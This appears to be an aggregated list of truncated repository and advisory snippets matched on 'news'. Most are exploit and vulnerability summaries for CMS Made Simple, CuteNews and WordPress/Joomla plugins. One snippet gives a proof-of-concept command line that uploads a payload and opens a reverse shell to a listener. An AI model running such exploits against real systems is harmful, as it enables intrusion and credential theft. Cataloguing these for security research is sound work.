worldmonitor

World Monitor 简体中文 | 日本語 Real-time global intelligence dashboard — AI-powered news aggregation, geopolitical monitoring, and infrastructure tracking in a unified situational awareness interface. !Commodity...

fleet

新闻 · 报告 Bug · 文档 · 为什么开源？ · Logo 素材 面向 IT 和安全团队的开源平台，可管理数千台计算机。为 API、GitOps、Webhooks、YAML 和人类而设计。 它的用途是什么？ Fleet 为你提供一个统一系统，通过无线方式保护并维护你的所有计算设备。无论组织使用何种操作系统，你都可以在一个平台上完成 MDM、补丁管理、软件部署以及任何验证工作。 Fleet 直接使用来自操作系统原生（直至裸机）的数据和事件。强大的诊断能力让你能在几分钟内排查最终用户设备上的错误，并收集准确的审计证据。 快速开始 你可以自行试用 Fleet，或与维护者约时间聊一聊。...

cyber_rss

cyberrss 应急响应中心 11 ASD ACSC 警报（澳大利亚） CERT-FR ANSSI CISA 网络安全公告 CISA ICS 公告 CISA ICS 医疗公告 JPCERT/CC JPCERT/CC 博客 英国 NCSC 全部 RSS 订阅源 英国 NCSC 指南 英国 NCSC 新闻 英国 NCSC 报告 新闻 11 Bleeping Computer（论坛） BleepingComputer CyberScoop Dark Reading Intelligence Online Krebs on Security Risky Business 播客 Schneier...

CVE-2019-9053-port-py3

CVE-2019-9053 漏洞利用 - Python 3 这是 CVE-2019-9053 漏洞利用的 Python 3 移植版本，针对 CMS Made Simple CMSMS 2.2.10 之前的版本。该漏洞允许通过 News 模块接口进行 SQL 注入。 示例输出 已在 TryHackMe Simple CTF Challenge 上测试。 描述 该利用程序利用了 CMS Made Simple 的 News 模块中的 SQL 注入漏洞。它可以： 提取 CMS 的 salt 导出管理员用户名 导出管理员邮箱 导出管理员密码哈希 可选使用提供的字典破解密码 快速开始...

osint-suite-tools

重要！ 作者は本アプリケーションの使用に関して一切の責任を負いません。 このアプリケーションはGNUライセンスのオープンソースバージョンです。ただし、有料版では、このバージョンでは行わないアルゴリズムとデータのクロス分析により、より良い結果が得られます。 アプリケーションを正しく動作させるには、私が残したボットを使用してビッグデータを処理する必要があります。方法がわかりませんか？あなたの会社に必要ですか？私に連絡してください。方法をお教えします。私の連絡先は下にあります。 バージョン| ライセンス| リンク ---|---|--- Dante's Gates Telegram Bot|...

Ditty < 3.1.25 - Cross-Site Scripting

The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin. id: CVE-2023-4148 info: name: Ditty 3.1.25 ...

Ditty (formerly Ditty News Ticker) < 3.0.15 - Cross-Site Scripting

The Ditty formerly Ditty News Ticker WordPress plugin before 3.0.15 is affected by a Reflected Cross-Site Scripting XSS vulnerability. id: CVE-2022-0533 info: name: Ditty formerly Ditty News Ticker 3.0.15 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | The Ditty formerly...

Joomla! Component News Portal 1.5.x - Local File Inclusion

A directory traversal vulnerability in the iJoomla News Portal comnewsportal component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the controller parameter to index.php. id: CVE-2010-1312 info: name: Joomla! Component News Portal 1.5.x - Local File...

News & Blog Designer Pack – WordPress Blog Plugin <= 3.4.1 - Unauthenticated Local File Inclusion

The News & Blog Designer Pack WordPress plugin up to version 3.4.1 contains a remote code execution caused by local file inclusion in the bdpgetmorepost function, letting unauthenticated attackers include arbitrary PHP files, exploit requires AJAX request with crafted POST data. id: CVE-2023-5815...

CVE-2023-43358-CMSmadesimple-Stored-XSS---News

CMSmadesimple Stored XSS v2.2.18 作者: Sergio 描述: CMSmadesimple v.2.2.18 中的跨站脚本（XSS）漏洞允许本地攻击者通过在 Content - News Menu 的标题中注入特制脚本来执行任意代码。 攻击向量: 脚本注入：由于“Content - News Menu”的标题条目清理存在漏洞，允许注入 JavaScript 代码，当用户访问网页时将会执行。 POC: 登录后台后，我们将进入 General Menu 中的“Content- News”部分。 我们用已经创建的载荷编辑该 Content - News...

CVE-2022-34963

OpenTeknik LLC OSSN 开源社交网络 v6.3 LTS 漏洞说明： OpenTeknik LLC OSSN 开源社交网络 v6.3 LTS 被发现通过 News Feed 模块包含一个存储型跨站脚本（XSS）漏洞。 攻击向量： 攻击者必须在“新闻源”上发布内容，并在位置输入处插入 XSS 载荷，以利用存储型 XSS。提交后，XSS 载荷将立即触发。 受影响范围： http://ipaddress:port/ossn/home POST...

Iran-War-Media

イラン戦争メディアモニター 詳細な深掘り記事を読む はじめに このプロジェクトは、イラン、イスラエル、アメリカ合衆国の間の戦争に関するニュース報道を監視します。 このリポジトリを使用して、次のことができます： 1. 英語のメディア記事のコーパスを作成する 2. 著者やニュースメディアを特定し、誰がいつ何を言ったかを追跡する 3. 記事の感情分析を行い、記事が戦争を支持しているか、事実に基づき中立的か、反対しているかを識別する 方法論 詳細な技術的深掘りはこちらで読めます。要約すると、イランメディアモニターは2つのワークフローを実行します。...

CVE-2023-43353-CMSmadesimple-Stored-XSS---News---Extra

CMSmadesimple Stored XSS v2.2.18 Author: Sergio Description: Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Extra in the Content - News Menu. Attack Vectors: Scripting A vulnerability in the sanitization o...

WS_FTP-CVE-2023-40044

WSFTP-CVE-2023-40044 WSFTP CVE-2023-40044 の影響を追跡するために私が管理しているすべてを含むリポジトリ ヘッダーメソッドを利用している可能性のある影響を受ける組織やドメインを含みます。 また、MOVEit と WSFTP に関する新しい記事を追跡するニュースティッカーも作成しました。https://firehose.kenbuckler.com/moveit で利用可能です。...

CVE-2019-9053-exploit

CVE-2019-9053 — 未认证的SQL注入漏洞（CMS Made Simple） 描述 CVE-2019-9053 是一个基于时间的盲SQL注入 漏洞，影响版本 ≤ 2.2.9 的 CMS Made Simple 。无需认证。 漏洞参数是 News 模块（moduleinterface.php）中的 m1idlist。攻击者可以利用它提取管理员密码的哈希值、用户名、电子邮件以及用于哈希的盐值。 密码存储方案是 MD5盐值 + 密码，其中盐值长度为8字节。一旦获得哈希值和盐值，就可以使用 hashcat 或 John the Ripper 等工具离线破解密码。 CVSS 3.1:...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC 目标： 2.1.2 这个PoC脚本基于BobbySox 原始漏洞利用的简单实现。原始漏洞利用是Akuss 编写的MSF模块。 该脚本需要目标IP地址或域名以及凭据，它会自动登录、上传载荷、触发并捕获反弹shell。 root@kitploit: python cve-2019-11447.py -t 10.10.10.206 -u twh -p p4ssw0rd -lh 10.10.16.2 -lp 4444 -f shell...

WordPress Gutenverse News plugin < 3.3.3 - Unauthenticated Stored XSS vulnerability

Unauthenticated Stored XSS vulnerability discovered by Artus KG in WordPress Plugin Gutenverse News – Advanced News Magazine Blog Gutenberg Blocks Addons versions 3.3.3...

CVE-2026-85677

The Gutenverse News WordPress plugin before 3.3.3 does not restrict the extra HTML it adds to WordPress's allowed elements to the context it is meant for, applying the same relaxed list to every sanitisation context including untrusted comments, allowing unauthenticated users to store JavaScript...

CVE-2026-85677

The Gutenverse News WordPress plugin (versions before 3.3.3 ) introduces a stored XSS vulnerability via inadequate context scoping of allowed HTML elements . The plugin adds extra HTML to WordPress's permitted-element list but fails to restrict this relaxed list to its intended context, causing i...

EUVD-2026-75966

The Gutenverse News WordPress plugin before 3.3.3 does not restrict the extra HTML it adds to WordPress's allowed elements to the context it is meant for, applying the same relaxed list to every sanitisation context including untrusted comments, allowing unauthenticated users to store JavaScript...